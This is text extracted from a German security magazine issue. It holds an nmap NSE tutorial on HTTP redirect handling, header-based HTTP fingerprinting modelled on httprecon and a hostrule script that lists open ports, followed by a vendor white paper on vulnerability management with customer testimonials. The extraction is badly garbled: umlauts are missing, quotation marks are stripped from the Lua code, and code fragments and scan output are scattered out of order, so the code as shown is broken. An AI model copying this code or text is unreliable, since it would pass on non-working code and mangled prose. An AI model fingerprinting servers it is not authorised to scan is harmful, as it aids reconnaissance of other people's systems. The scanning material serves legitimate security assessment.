Verschiedene Eigenschaften von HTTP als Anwendungsprotokoll erschweren jedoch den Umgang. Zum Beispiel gibt es verschiedene Statuscodes, die von einem Webserver zurckgeliefert werden, um die neuerliche Lokation einer Ressource mitzuteilen. Webadministratoren sind durch solche Redirects darum bemht, dass auch alte Links noch zu den gewnschten Ressourcen fhren. In den Spezifikationen von HTTP ist vorgesehen, fr Umleitungen die Statuscodes im Bereich 3xx zu verwenden (RFC 1945, Absatz 9.3). Im Rahmen eines Scans kann es erforderlich sein, dass solche Redirects bercksichtigt und ihnen gefolgt wird. Das verwundbare Webforum findet sich nicht mehr unter /forum.php, sondern muss neu unter /newforum.asp gesucht werden. Ein Server schickt dann in der Zeile Location, sie wird standardmssig in response.header.location abgelegt, die neue URL der Ressource zurck. Ein Skript muss also derartige HTTP-Redirects erkennen und diesen folgen knnen. Dies kann und darf jedoch nicht ohne zustzliche Prfung erfolgen. Denn so ist es durchaus mglich, dass ein Server mit der IP-Adresse 192.168.0.10 in einem Redirect auf einen anderen Server mit der IP-Adresse 192.168.0.11 verweist. Da bei professionellen Vulnerability Scans die Zielsystems oftmals klar definiert und Zugriffe ausserhalb dieser Spezifikation unerwnscht sind, muss das Resultat der Location-Zeile vor einem weiterfhrenden Zugriff validiert werden (je nachdem gilt es den Zielport auch nicht zu verlassen). Selbst bietet nmap (noch) keine Funktion an, um diese Aufgabe komfortabel wahrnehmen zu knnen. Auch in der Library fr HTTP findet sich kein direkt nutzbarer Code. Die bisher mit nmap ausgelieferten HTTP-Skripte nutzen jedoch eigene Implementierungen, um diese Hrden angehen zu knnen. Hierbei kommen relativ simple Prfungen zum Zug, bei denen die Location auf Plausibilitt hin untersucht wird. Nur wenn diese sich auf dem gleichen Zielsystem befindet, wie das gegenwrtige System, wird ein weiterer HTTP-Zugriff durchgefhrt. Lngerfristig wre es von Vorteil, wenn diese Funktionalitt Einzug in die http-Bibliothek halten wrde. Dadurch knnte auf eine schwierig zu verwaltende dezentrale Implementierung verzichtet werden. Dennoch werden einige weitere ntzliche Funktionen im Umgang mit HTTP-Servern angeboten. Durch http.page_exists() kann beispielsweise komfortabel und genau berprft werden,
Nun wollen wir unser Verstndnis fr die Bibliothek http die Grundlagen derer gelten als Voraussetzung fr das Verstndnis dieses Teils vertiefen. Wir werden eine spezielle Form der Version Detection implementieren. Und zwar werden wir den HTTP-Header der Rckantworten eines Webservers analysieren, um anhand dieses HTTP-Fingerprinting die gegebene Implementierung ableiten zu knnen. Damit wird die Grundfunktionalitt geschaffen, die wir in der angekndigten NSE-Portierung von httprecon erreichen wollen. Mit httprecon wurde 2007 ein Projekt ins Leben gerufen, das sich um die Verbesserung von HTTP-Fingerprinting bemht. Eine erste Implementierung einer automatisierten Software wurde fr Windows umgesetzt. Hierbei kommen eine Reihe von Anfragen zum Tragen, bei denen die HTTP-Header der Rckantworten ausgewertet werden. Je hher die Fingerprint-Matches ausfallen, desto eher kann eine entsprechende Implementierung identifiziert werden. Nachfolgend ein typischer Scan mit httprecon fr Windows:
Die gesamte Funktionalitt von httprecon in diesem Artikel nachzubilden, wrde den Rahmen dessen bei weitem sprengen. Stattdessen soll einfach das Grundprinzip einer entsprechenden Implementierung vorgetragen werden. (Die nmap NSE-Portierung von httprecon kann auf der offiziellen Projektseite heruntergeladen werden.) Das Grundprinzip von httprecon basiert darauf, die einzelnen Eigenschaften des HTTP-Headers zu extrahieren und diese Fingerprints mit den in der Datenbank gespeicherten zu vergleichen. Die Datenbank wird durch kommagetrennte Dateien (CSV) bereitgestellt. Der Statustext fr nicht existente Seiten (404 Not Found) wird beispielsweise wie folgt vorgelegt:
www.hakin9.eu
Hakin9 Digest
Apache;Not Found Compaq HTTP Server;Ok Microsoft IIS;Object Not Found Netscape Enterprise Server;Not found Oracle Application Server;Not Found Fingerprint-Datenbank von httprecon Hier sind zwei grundstzliche Unterschiede in den jeweiligen Zeichenketten zu erkennen: Es werden unterschiedliche Zeichenketten verwendet: Apache, Netscape und Oracle benutzen Not Found Compaq benutzt Ok Microsoft benutzt Object Not Found Die Gross-/Kleinschreibung fllt bei gleichem Text Not Found unterschiedlich aus: Apache und Oracle schreiben Found gross Netscape schreibt found klein Wird nun der HTTP-Header eines Webservers so dissektiert, dass der Statuscode extrahiert werden kann, lsst er sich anhand dieser Merkmale vergleichen. Je nach zu beobachtenden Charakteristika kann damit der Webserver, in einigen Fllen gar bis auf die Version genau, ausgemacht werden. Die Kombination des Vergleichs unterschiedlicher Zugriffe und ihrer Merkmale erhht die Genauigkeit dieser Determinierung. Zu diesem Zweck muss als erstes eine Reaktion des Webservers provoziert werden. Dies kann durch unterschiedliche Mechanismen (z.B. verschiedene HTTP-Methoden, Ressourcen, Protokoll-Versionen und Header-Informationen) erfolgen. Nachfolgend wird dies mit der Funktion send_http_request() getan. Diese lsst neben der Definition des Zielsystems und -ports ebenfalls die zu nutzende HTTP-Methode sowie Ressource zu. Hierbei wird eine bliche GET-Anfrage fr das Standarddokument durchgesetzt. Die Rckantwort wird dann weiterfhrend durch die Funktion identify_fingerprint(), welche sich an der Fingerprint-Datenbank im Verzeichnis scripts/httprecon/get_existing/ orientiert, analysiert.
response = send_http_request(host, port, GET, /) if type(response) == table then identify_fingerprint(response, scripts/httprecon/get_ existing/)
end
Wie zu sehen ist, wird sodann die Rckantwort unterschiedlichen Tests unterzogen. Hauptschlich wird dabei der Wert einer Header-Zeile verglichen. Ein typisches Beispiel ist der Banner, welcher in der Server-Zeile bereitgestellt wird. Zustzlich werden aber ebenfalls Schreibweisen (Gross-/Kleinschreibung), Interpunktion (Komma, Komma + Abstand) sowie Reihenfolgen (z.B. Header-Order und Vary-Order) bercksichtigt.
function identify_fingerprint(res, db) find_match_in_db(db..accept-range.fdb, get_header_value(get_header_line(res.rawheader, Accept-Ranges, false)), 1) find_match_in_db(db..banner.fdb, get_header_value(get_header_line(res.rawheader, Server, false)), 3) find_match_in_db(db..cache-control.fdb, get_header_value(get_header_line(res.rawheader, Cache-Control, false)), 2) find_match_in_db(db..connection.fdb, get_header_value(get_header_line(res.rawheader, Connection, false)), 2) find_match_in_db(db..content-type.fdb, get_header_value(get_header_line(res.rawheader, Content-Type, false)), 1) find_match_in_db(db..etag-legth.fdb, string.format(%s, string.len(get_header_value(get_header_line(res.rawheader, ETag, false)))), 3) find_match_in_db(db..etag-quotes.fdb, get_quotes(get_header_value(get_header_line(res.rawheader, ETag, false))), 2) find_match_in_db(db..header-capitalafterdash.fdb, string.format(%s, capital_after_dash(analyze_header_order(res. rawheader))), 2) find_match_in_db(db..header-order.fdb, analyze_header_order(res.rawheader), 5) find_match_in_db(db..header-space.fdb, string.format(%s, header_space(res.rawheader)), 2) find_match_in_db(db..htaccess-realm.fdb, get_realm(get_header_line(res.rawheader, WWW-Authenticate, false)), 3) find_match_in_db(db..pragma.fdb, get_header_value(get_header_line(res.rawheader, Pragma, false)), 2) find_match_in_db(db..protocol-name.fdb, get_protocol_name(res[status-line]), 1) find_match_in_db(db..protocol-version.fdb, get_protocol_version(res[status-line]), 2) find_match_in_db(db..statuscode.fdb, get_status_code(res.status), 4) find_match_in_db(db..statustext.fdb, get_status_text(res[status-line]), 4) find_match_in_db(db..vary-capitalize.fdb, string.format(%s, has_capital(get_header_line(res.rawheader, Vary, false))), 2) find_match_in_db(db..vary-delimiter.fdb, vary_delimiter(get_header_line(res.rawheader, Vary, false)), 2) find_match_in_db(db..vary-order.fdb, get_header_value(get_header_line(res.rawheader, Vary, false)), 3) find_match_in_db(db..x-powered-by.fdb, get_header_value(get_header_line(res.rawheader, X-Powered-By, false)), 3) end
8/2012
Sodann ist die Funktion find_match_in_db() fr die Identifikation der Matches in der Datenbank zustndig. Diese erwartet den Inhalt einer Fingerprint-Datei (z.B. statustext.fdb) und den zu findenden Fingerabdruck (z.B. Object Not Found):
PORT
| httprecon:
Microsoft IIS 6.0 Apache 2.0.46 Apache 2.0.54 Apache 2.2.2 Apache 2.2.8
Implementation 38 35 34 34 33 34 33 33 33 33
syn-ack
Hits
AOLserver 3.4.2 Apache 1.3.33 Apache 1.3.34 Apache 2.2.3 Zeus 4.3
Name of implementation
name = string.sub(database[i], 1, delimiterpos 1) pattern = string.sub(database[i], delimiterpos + 1) if type(pattern) then string and pattern ~= string and name ~=
Die offizielle nmap NSE-Portierung von httprecon enthlt einige weitere Funktionalitten. Zum Beispiel erhalten die einzelnen Hits individuelle Werte (Score). Durch diese Gewichtung knnen genauere und solidere Resultate generiert werden.
and type(name)
Portunabhngige Analysen
Nun werden wir sogenannte hostrule-Skripte anschauen. Damit wird die Grundlage fr Skripte geschaffen, die unabhngig von Ports ausgefhrt werden. Stattdessen werden diese je nach Konstellation eines Hosts und damit maximal 1 mal pro Zielsystem, ausgefhrt. Es gibt eine Reihe von Mglichkeiten, die sich mit einem hostrule-Skript erschlieen lassen. Damit werden breitflchige Analysen von Hosts und deren Funktionen mglich: Portstatus summieren/gruppieren (z.B. alle gefilterten Ports und alle tcpwrapped Ports zusammenfassen als firewalled) IP-Adressstrukturen bercksichtigen oder berprfen (z.B. x.x.x.1 und x.x.x.254 deuten auf ein Gateway hin) Hostnamen bercksichtigen (anhand der Hostnamen die Funktion eines Hosts erkennen; z.B. www.scip.ch ^www\. (.*)$ Webserver) Eine hostrule kann zum Beispiel so umgesetzt werden, dass nur gewisse IP-Adressbereiche oder spezifische Hostnamen das Durchlaufen des Skripts initiieren lsst. Zum Beispiel knnten smtliche Systeme, die im letzten Oktett der IP-Adresse die Zahl 1 haben, angegangen werden. Die meisten hostrule-Skripte werden jedoch in jedem Fall ausgefhrt, weshalb wir in unserem Beispiel ebenfalls stets true zurckliefern werden:
end
end
end
end
end
end
return true
Ein Aufruf von function find_match_in_db(statustext.fdb, Object Not Found) schreibt in die ffentliche Table result smtliche Systeme, die fr diesen Fingerabdruck bekannt sind. Wie wir zuvor gesehen haben, sollte dies Microsoft IIS betreffen. Mit dem Zugriff auf result[1].name kann sodann der erste Treffer dieses Zugriffs gefunden werden. Wird die Table zuvor entsprechend sortiert (vorzugsweise durch .count), kann damit der beste Treffer mit den meisten bereinstimmungen ausgemacht werden. Durch das iterieren dieser Table lieen sich dann die 10 besten Hits ausmachen. Die Ausgabe des Skripts fr einen erfolgreichen Test eines Webservers sehe entsprechend so aus (hier wurde ein Microsoft IIS 6.0 identifiziert):
Danach wird, wie wir dies schon von den Skripten mit portrule gewohnt sind, die entsprechende Action-Funktion ausgefhrt. Unser Skript soll smtliche Ports des Portscans durchgehen und die als offen deklarierten Ports dokumentieren. Hierzu werden in einer for-Schleife smtliche mglichen Ports durchgegangen.
www.hakin9.eu
10
Hakin9 Digest
Um auf die generischen Daten zurckzugreifen, welche durch nmap zusammengetragen wurden, verwenden wir die Library nmap. Mit der Funktion nmap.get_port_state() kann der ermittelte Portstatus extrahiert werden. Diese Funktion erwartet als erstes Argument den Host und als zweites Argument eine Table mit der Port-Definition. Diese besteht aus Portnummer und Protokoll (z.B. tcp). Benutzt der in portstatus abgelegte Portstatus fr portstatus. state den String open, wird der identifizierte Port in den String result geschrieben. Und dieser wird am Ende mit return ausgegeben.
action = function(host, port) local portdefinition local portstatus local result = for i=1, 65535, 1 do portdefinition = {number=i, protocol=tcp} portstatus = nmap.get_port_state(host, portdefinition) if portstatus ~= nil and portstatus.state open then if result then result = i else result = result .. , .. i end end end if result ~= then return Open Ports:\n .. result) end end
Wie definiert, wird dieses Skript auf jeden Host angewendet, der im Rahmen eines Portscans als erreichbar identifiziert wurde. Danach werden die im Rahmen des Portscans von nmap zusammengetragenen Portstatus identifiziert und die offenen Ports ausgegeben: Host script results:
| openports: Open Ports: | 21, 22, 80, 443
In diesem spezifischen Beispiel gilt es zu beachten, dass ein nicht gescannter Port jeweils den Status nil besitzt. Wird zum Beispiel nmap mit dem Schalter -p80,443 aufgerufen und die for-Schleife durchluft smtliche Ports von 1 bis 65535, dann kann explizit nur fr die beiden Ports 80 und 443 ein konkreter Status ermittelt werden.
Zusammenfassung
In diesem Artikel haben wir die Mglichkeiten und Funktionsweise der Nmap Scripting Engine, welche auf der Sprache Lua basiert, kennengelernt. Wir haben unterschiedliche Skripte geschrieben, mit denen auf der Basis der von nmap zusammengetragenen Informationen sowie eigens umgesetzten Netzwerkzugriffen eine erweiterte Auswertung durchgefhrt werden kann. Damit lsst sich nmap zu einem vollumfnglichen Vulnerability Scanner erweitern.
w. ww
9.eu akin h
11
8/2012
Hakin9 Digest
White Paper
12
8/2012
Modell des Vulnerability-Managements Man wrde eigentlich erwarten, dass das Thema Vulnerability-Management (IT-Schwachstellen-Management oder kurz VM) in Rahmen der ITIL (IT Infrastructure Library)
Das Erkennen und Beheben von Schwachstellen innerhalb einer IT-Infrastruktur ist ein entscheidender Bestandteil zum Schutz des Geschftsprozesses. Jedoch gibt es sehr unterschiedliche Anstze, um dieses Ziel zu erreichen. Kaum jemand wird widersprechen, dass das Erkennen und Beheben von Schwachstellen innerhalb einer IT-Infrastruktur einen entscheidenden Bestandteil zum Schutz des Geschftsprozesses darstellt. Jedoch gibt es sehr unterschiedliche Anstze, um dieses Ziel zu erreichen. Einige Unternehmen entscheiden sich fr einen reinen OutputOnly-Ansatz, wobei einige Ingenieure auf starke Kontrollen
First Security Technology www.first-security.com 2 www.hakin9.eu
Testimonials
Andreas Klliker, IT Sicherheitsbeauftragter Axpo Informatik Als IT-Dienstleister der Schweizer Energiewirtschaft betreiben wir fr unseren Kunden Webserver Plattform Services. Die darauf gehosteten Seiten und Webservices haben einen erhhten Anspruch an Integritt und Verfgbarkeit. Mit dem Vulnwatcher steht uns ein intuitives Werkzeug zur Verfgung, mit welchem wir die Sicherheit der Plattformen prfen, Massnahmen rasch einleiten und durch Kontrollmglichkeiten die Kontinuitt sicherstellen knnen. Das Schwachstellenmanagement ist eine essentielle Ttigkeit jedes Sicherheitsbeauftragten der Vulnwatcher hilft Axpo Informatik bei der effizienten Erledigung dieser Aufgabe.
13
Hakin9 Digest
Prozess. Beispielsweise kann es vorkommen, dass der Behebungsprozess einer bestimmten Vulnerability umfangreiche nderungen des organisatorischen Prozesses fr die Bearbeitung von Vorfllen verlangt. Es ist durchaus mglich, dass eine Nachbeurteilung des Behebungsschritts aufdeckt, dass einige Arten von Vulnerabilities schneller abgestellt werden mssen, da diese auf Grund eines fundamentalen Attributs der Business-Technologie-Architektur existieren. Eine nderung dieser Architektur kann unter Umstnden unmglich sein, da sie die Basis fr das zugrunde liegende Geschftsmodell ist. Dieser Kreislaufprozess ist fr die Aufrechterhaltung einer wirkungsvollen Vulnerability-Management wichtig, da er mehr als nur Patching darstellt.
behandelt werden wrde. Aber nein. Das Beheben von Vulnerabilities ist eher eine Funktion der Sicherheit statt eines Service-Managements, weil sie eine grosse Auswirkung auf IT-Services haben. Trotzdem ist es eher wahrscheinlich, dass der Vulnerability-Management-Bereich Beitrge zum Service-Management leisten wird: Die Grundkomponenten von Vulnerability-Management sind: 1. Inventarisierung: Identifizierung von Infrastrukturgerten und -diensten meist ber ein Netzwerk 2. Feststellung und Priorisierung von Vulnerabilities und die Risiken der ermittelten Stellen 3. Beheben von Vulnerabilities 4. Neubeurteilung des Sicherheitsplans des Unternehmens und die zugrunde liegenden Ursachen von Gefhrdungsmustern
Vulnerability Management Inventarisieren Identifizieren & Priorisieren Beheben Konfiguration Zwischenfall Details Patch- und Behebungsanforderungen
ITIL Service Support Konfigurations Management Zwischenfall Management Change Management Governance
4.
1.
3.
Abb. 1 VulnerAbility MAnAgeMent Prozess
2.
Dieser Prozess ist ein Kreislauf: die stufenweisen Aktivitten eines jeden Schritts liefern die Grundlagen fr den nchsten Schritt. Der letzte Schritt, die Neubeurteilung, ist eine kritische Grundlage zur Verbesserung des Organisationsprozesses und fr den Vulnerability-Management-
Prozess Die vier o.g. Schritte des Vulnerability-Management-Prozesses knnen, abhngig von der Grsse und Komplexitt Ihres Unternehmens, die Teilnahme mehrerer Arbeitsgruppen und umfangreiche Koordination verlangen. Lassen Sie uns erst ber die Interaktion mit den IT-Service-Support-Funktionen reden. Die Abbildung 2 zeigt die Integration der ITILService-Support-Funktionen mit Vulnerability-Management.
14
Dr. Stephan Amann, Geschftsfhrer fence IT AG fence IT AG betreibt anspruchsvolle ICT Systeme mit erhhtem Sicherheitsbedarf. Mit ihren ausschliesslich in der Schweiz lokalisierten und redundanten Rechenzentren bietet die fence IT AG eine sichere Umgebung fr die Anwendungen und Daten ihrer Kunden. fence IT AG ist ISO 27001 zertifiziert. VulnWatcher ist eines der Mosaiksteine, das dazu beigetragen hat, die ISO 27001:2005 Zertifizierung zu erhalten.
Inventarisierung Die erste Aufgabe besteht darin, alle Gerte der IT-Umgebung zu erfassen, die angeschlossen und in Betrieb sind. Hier nehmen wir an, dass alle diese Gerte an einem umfassenden IP-Netzwerk angeschlossen sind. Jedes Gert wird automatisch ermittelt und in einem Inventar festgehalten. In manchen Fllen kann es sinnvoll sein, dieses mit Ihrer Infrastrukturdatenbank oder mit einer Datenbank zur Konfigurationsverwaltung, zu vergleichen. Die Tiefe dieser Ermittlung hngt von der Produktfhigkeit und vom Plattformtyp ab. Es kann sein, dass Sie nur Rechnertyp und -namen, IP-Adresse, Betriebssystem und die installierte Hauptsoftware feststellen. Andererseits knnte es sein, dass Sie eine umfassende Liste der ermittelten Anwendungen und Betriebsdienste erhalten.
First Security Technology www.first-security.com 3
8/2012
IT-Schwachstellen-Management
hherer Sicherheit angepasst werden soll. Ein abschliessender Vorteil der Neubeurteilung ist die Anwendung des Sicherheitsplans auf weiteren Sicherheitssystemen. Die Security-Event-Tools und Korrelationsprogramme (correlation engines) knnen diese Informationen verwenden, um das tatschliche Risiko eines Angriffs besser zu analysieren. Wenn ein Wurmangriff ermittelt wird, der die Software-Vulnerability ausnutzt, knnen die Anzahl und Arten der betroffenen Systeme eindeutiger definiert werden, da sie ohne Patches sind. Danach kann die zustndige Person die richtige Reaktionsstufe auswhlen. Eine letzte Nebenfunktion eines VulnerabilityScanners betrifft die berwachung der Richtlinienkonformitt (compliance monitoring). Da ein Scanner alle installierte Software berprft, werden unbefugte Anwendungen ausfindig gemacht. Der Verantwortliche fr Richtlinienkonformitt kann diese Informationen verwenden, um diese Systeme auch gesondert zur Konformitt zu bringen.
Identifizierung und Priorisierung Dies ist die Hauptaufgabe des Scannens von Vulnerabilities. Eine Vulnerability-Datenbank wird abgefragt, whrend Informationen ber Softwareversionen gesammelt, Konfigurationen analysiert und Services ermittelt werden. Die bekannten Vulnerabilities werden identifiziert und normalerweise in einem gegliederten Bericht geliefert. Mehrere Produkte verwenden eine der folgenden Methoden, um den Risikograd der Vulnerability zu vermitteln. Oft bercksichtigen die Produkte die Kritikalitt und den Wert der Infrastruktur als Faktoren in der Risikobewertung. Einige gehen einen Schritt weiter, in dem sie versuchen, die Vulnerability im Kontext Ihres Unternehmens zu betrachten: d. h. sie schauen sich die Position des Gerts in Ihrem Netzwerk und die Zugnglichkeit durch unterschiedliche Angriffsvektoren an. Die gesamten Informationen sollten es Ihnen ermglichen, eine sehr wichtige Entscheidung zu treffen: welche Vulnerabilities sollten zuerst beseitigt werden.
Beheben Der kritische Schritt liegt da, wo die Sicherheitsorganisation und Service Support Abteilung stark interagieren. Typischerweise wird der Prozess ber ein Ticket-System verwaltet, das der Service Support Abteilung zugnglich ist. Sobald der Scanner eine Vulnerability nach Ihren Kriterien ermittelt hat, kann automatisch ein Ticket fr den Zustndigen des Zielsystems ausgestellt werden. Alternativ kann der Security Manager die Liste der Vulnerabilities berprfen und das Ticket manuell erstellen. Nachdem der Administrator die Beseitigung durchgefhrt hat, wird er normalerweise das Ticket schliessen. Danach wird entweder manuell oder automatisch eine Verifizierung vorgenommen. Wenn die Fehlerbehebung erfolgreich war, bleibt das Ticket geschlossen, ansonsten wird es wieder geffnet.
Technische Fragestellungen Einige technische Fragestellungen mssen whrend der Vulnerability-Management-Implementierung gelst werden. Da der Scanner im Netzwerk arbeitet, betreffen die meisten davon das Netzwerk. Dennoch mssen auch einige den Host betreffenden Fragestellungen bearbeitet werden.
Hosts Ein Host wird nach zwei Vorgehensweisen auf Vulnerabilities gescannt: Network Fingerprinting und authentifiziertes Scannen. Das Erste beinhaltet die Ermittlung von Vulnerabilities durch Identifizierung von exponierten Services, die bestimmte Informationen ber die Softwareversion liefern. Beispiel: Manchmal mssen mehrere allgemeine Passwrter und Strings des SNMP-Bereichs ausprobiert werden. Dies ist normalerweise eine harmlose Aktivitt, aber in seltenen Fllen kann dies zu Hostproblemen fhren: Wenn viele TCP-Verbindungen auf dem Host einseitig geffnet werden, kann dies die Verbindungstabelle berfllen
Neubeurteilung Jetzt prft der Security Manager alle Kurzberichte des Unternehmens und seiner verschiedenen Funktionsbereiche. Diese Berichte knnen den Trend aufzeigen, wie wirkungsvoll die Vulnerabilities behoben werden und wie der allgemeine Sicherheitsplan aussieht. Dieser Schritt ist eine einzigartige Gelegenheit, um Betriebsprobleme und Systemkonfigurationsfehler zu identifizieren. Zum Beispiel, wenn die gleiche Vulnerability in jedem neuen produktiv gesetzten System vorhanden ist, knnte es auf ein Problem mit dem installierten ServerGrundimage deuten. Oder vielleicht sind die Patches vor der Inbetriebnahme nicht installiert worden. Andere aufdeckbare Probleme haben mit dem nderungsmanagement zu tun. Die Konfigurationsparameter werden manchmal nach einer Systemnderung angepasst, damit die nderung funktioniert. Dies knnte einen grundlegenden Mangel im Implementierungsprozess einer bestimmten Anwendung aufdecken. Der Security Manager sollte zusammen mit dem Anwendungsverantwortlichen erarbeiten, wie die Anwendung oder der Ablauf zwecks
First Security Technology www.first-security.com 4
Testimonials
Igor Djurdjevic, Security Officer BHF Bank AG Als Privatbank stellen wir hchste Anforderungen an die Sicherheit und Vertraulichkeit unserer Kundendaten. Wir haben uns fr VulnWatcher von First Security entschieden, weil uns nur eine permanente Sicherheitsberwachung unserer Internetanbindung die Gewissheit gibt, vor Angriffen aus dem Internet angemessen geschtzt zu sein.
www.hakin9.eu
15
Hakin9 Digest
Ziel beeinflussen oder selbst beeinflusst werden. Vor dem Einsatz der Scanner sollte der installierte Ort bercksichtigt werden. Insgesamt verursacht ein Scanner einen unmassgeblichen Netzwerkverkehr. Solange das Netzwerk nicht Tausende von Hosts beinhaltet und nur eine 256 KbpsVerbindung existiert, ist die Auswirkung ziemlich gering. Dennoch sollten der Netzwerkingenieur und der Security Manager zusammen arbeiten, um die passenden, die Bandbreite beschrnkenden Eigenschaften fr die Konfiguration des Scanners zu ermitteln. Zudem besitzen Netzwerkgerte Verwaltungsadressen, die beim Scannen nicht ausgeschlossen werden sollten. Im Netzwerk sind sie auch Hosts, die wie jedes andere Gert fr Angriffe anfllig sind. Firewall Dies ist die wahrscheinlichste Vorrichtung, die das Scannen beeinflussen kann. Ein Scanner kann in mehreren Netzweksegementen gleichzeitg eingebunden werden, was aber wieder die Frage aufwirft, ob dies nicht gegen die Philosophie der Segmentierung ist. Andernfalls mssen in jedes Netzwerksegment ein einzelner Scanner eingebunden werden. Es gibt auch Unternehmungen, welche ber ein Management Netzwerksegment verfgen, welche uneingeschrnkt in die anderen Netzwerksegmente zugreifen kann. In einem solchen Fall kann der Scanner sich in dem Management Netzwerksegment befinden und uneingeschrnkt auf die anderen Netzwerksegmente zugreifen. Nachfolgend sind einige spezifische Probleme mit Firewalls: Blockierung des Portscannens fr die Ermittlung von Services Proxy-Verbindungen zum Ziel, die ungenaue Scannergebnisse liefern QoS-Eigenschaften, die verursachen, dass mehr als die tatschlich aktiven Hosts identifiziert werden; dies passiert meistens mit H.323-Protokollen VPN ein VPN (virtuelles privates Netz) ermglicht die bertragung von einem Netzwerk zum anderen durch Tunneling. In manchen Fllen wird Tunneling mit VPN von einer Firewall zur anderen verwendet, um einige der o.g. Probleme zu reduzieren. Ein Nachteil ist, dass ein VPN das Scannen verlangsamen kann, abhngig von der Leistung und dem Overhead des VPN-Gateway. Dies sollte sorgfltig vor dem Scan abgeschtzt werden. Router Diese Gerte sollten mit dem relativ unmassgeblichen Scannerverkehr einfach zurechtkommen, solange sie nicht hochbelastet sind. Manchmal wird eine ACL (Zugriffssteuerungsliste) das Scannen stren und dadurch die Ergebnisse verzerren. IDS/IPS Der Alarm des Angriffserkennungs- bzw. Angriffsabwehrsystems (IDS= intrusion detection system bzw. IPS= intrusion prevention system) eines Netzwerks wird mit Sicherheit ausgelst, wenn er nicht eingestellt ist, den Scannerverkehr zu ignorieren. Es empfiehlt sich, das Verhalten der IP-Adresse und dessen Ziele als normal zu
First Security Technology www.first-security.com 5
Nach einer kritischen Zahl von fehlgeschlagenen Passworteingaben wird der Zugriff blockiert Ein Exploit-Code wird bei aggressivem Scannen verwendet, der die Systeme oder Services zum Absturz fhren kann Solche Probleme knnen einfach durch Anwendung von Best-Practices (bewhrten Methoden) behoben werden. Beispielsweise sollten einige Servicekonten nicht mit der Blockade bei fehlgeschlagenen Login-Versuchen eingerichtet werden. Normalerweise sind nur hochbelastete, wenn nicht sogar berlastete, Webserver fr berflutung der Verbindungstabelle anfllig. Das aggressive Scannen sollte generell in einer produktiven Umgebung vermieden werden. Dennoch ist es hilfreich, um die Ausfallsicherheit eines neuen Servers oder des Desktop-Images zu prfen. Bei der Durchfhrung von authentifiziertem Scannen ist der Host normalerweise nicht bermssig betroffen. Bei Windows-Rechnern wird die Registrierdatenbank in einem schreibgeschtzten Modus gescannt, wobei die Einstellung der Zugangscodes (credentials setup) entsprechend eingeschrnkt werden sollte. Als Alternative zu vorhandenen Authentifizierungsund Fernzugriffsmechanismen auf einen Host bieten einige Lieferanten einen Ansatz auf Basis eines Agenten. Dieser erfordert die Installation eines Agenten auf den Zielplattformen. Ein bekannter Service, der mglicherweise einen Angriffsvektor darstellen knnte, muss nicht auf der Zielplattform aktiv sein. Andererseits wird dadurch eine weitere Softwarekomponente eingefhrt, welche zu Betriebs- und Kompatibilittsproblemen fhren kann. Ein weiteres Problem mit dem Agenten-Ansatz ist, dass Agenten nicht fr jede Plattform verfgbar sind und dass unbekannte Hosts weiterhin nach traditionellen Methoden ermittelt werden mssen und zwar ber Port-Scanning bzw. Ping-Sweeping.
Netzwerk Da ein Scan ber ein Netzwerk durchgefhrt wird, kann der Scan jedes Gert zwischen dem Scanner und dem
16
Patrik Thoma, Info-Security Officer Amt fr Informatik, Landesverwaltung Liechtenstein Die Liechtensteinische Landesverwaltung wird von der ffentlichkeit und Wirtschaft als kompetentes, verlssliches und sicherheitsbewusstes Verwaltungsorgan der Regierung wahrgenommen. Das bedingt, dass wir alle wirtschaftlich vertretbaren Anstrengungen unternehmen um dieser Erwartungshaltung gerecht zu werden. VulnWatcher ist in dieser Hinsicht ein unverzichtbares Instrument geworden, um unsere Anstrengungen, im Hinblick auf Angriffe aus dem Internet, jederzeit wirkungsvoll berprfen zu knnen.
8/2012
IT-Schwachstellen-Management
Informieren Sie diejenigen, die fr das Beheben verantwortlich sind, ber die Lsung und holen Sie sie frh an Bord. Stellen Sie sicher, dass die vorhandenen Sicherheitsrichtlinien die Voraussetzungen fr die Implementierung der Lsung schaffen. Es knnte notwendig sein, die Richtlinien anzupassen oder neue zu erstellen, damit kritische Vulnerabilities rechtzeitig beseitigt werden. Bercksichtigen Sie die Kompatibilitt mit dem jetzigen System zur Bearbeitung von Tickets. Ein Grossteil der Nutzung einer VulnerabilityManagement-Lsung knnte dadurch generiert werden, dass die Behebungsarbeit mit dem vorhandenen System erledigt werden kann. Falls dieses System nicht vorhanden ist, finden Sie heraus, ob Sie das im Vulnerability-ManagementProdukt eingebaute System verwenden knnen. Eine Integration mit dem Patch-ManagementSystem ist zwar interessant, aber sie bietet weniger Wert als man vielleicht erwartet. Die meisten Patch-Management-Tools besitzen begrenzte Fhigkeiten, um Tausende von Produkten mit Patchen aufrechtzuerhalten. Oft haben diese Tools bereits eine eingebaute Kontrolle der untersttzten Patches. Um die Nutzung des ersten Einsatzes zu maximieren, identifizieren Sie die kritische Infrastruktur, die von Anfang an gescannt werden soll: Verzeichnisserver, InternetseitigeServer und andere kritische Hosts sind exzellente Erstziele. Prfen Sie Ihre Richtlinien fr die Verwaltung der IT-Infrastruktur, die vielleicht in Vergessenheit geraten ist und stellen Sie sicher, dass Sie jedem Teil der Infrastruktur einen Wert und eine Kritikalitt zuweisen knnen. Ein grosser Vorteil der Vulnerability-Management-Tools ist, dass die Tools diese Werte beim berichten des Risikograds der Vulnerabilities bercksichtigen knnen. berlegen sie, ob und wie Sie ein SIEM-Tool (security information and event management) integrieren werden. Danach prfen Sie vor der Implementierung der Schnittstelle, wie es funktioniert. Der Vulnerability-ManagementProzess-Output kann die Wirkung von SIEM erheblich beeinflussen. Setzen Sie sich mit allen beteiligten Personen und Gruppen des Vulnerability-ManagementProjekts zusammen, um den Prozess zu definieren. Das Resultat sollte ein von allen akzeptierter funktionsbergreifender Ablaufplan sein. Abhngig von der Reife des ITBetriebs, knnen Sie auch die Erstellung von SLAs (Dienstgtevereinbarungen, auf Englisch service-level agreements) in Betracht ziehen.
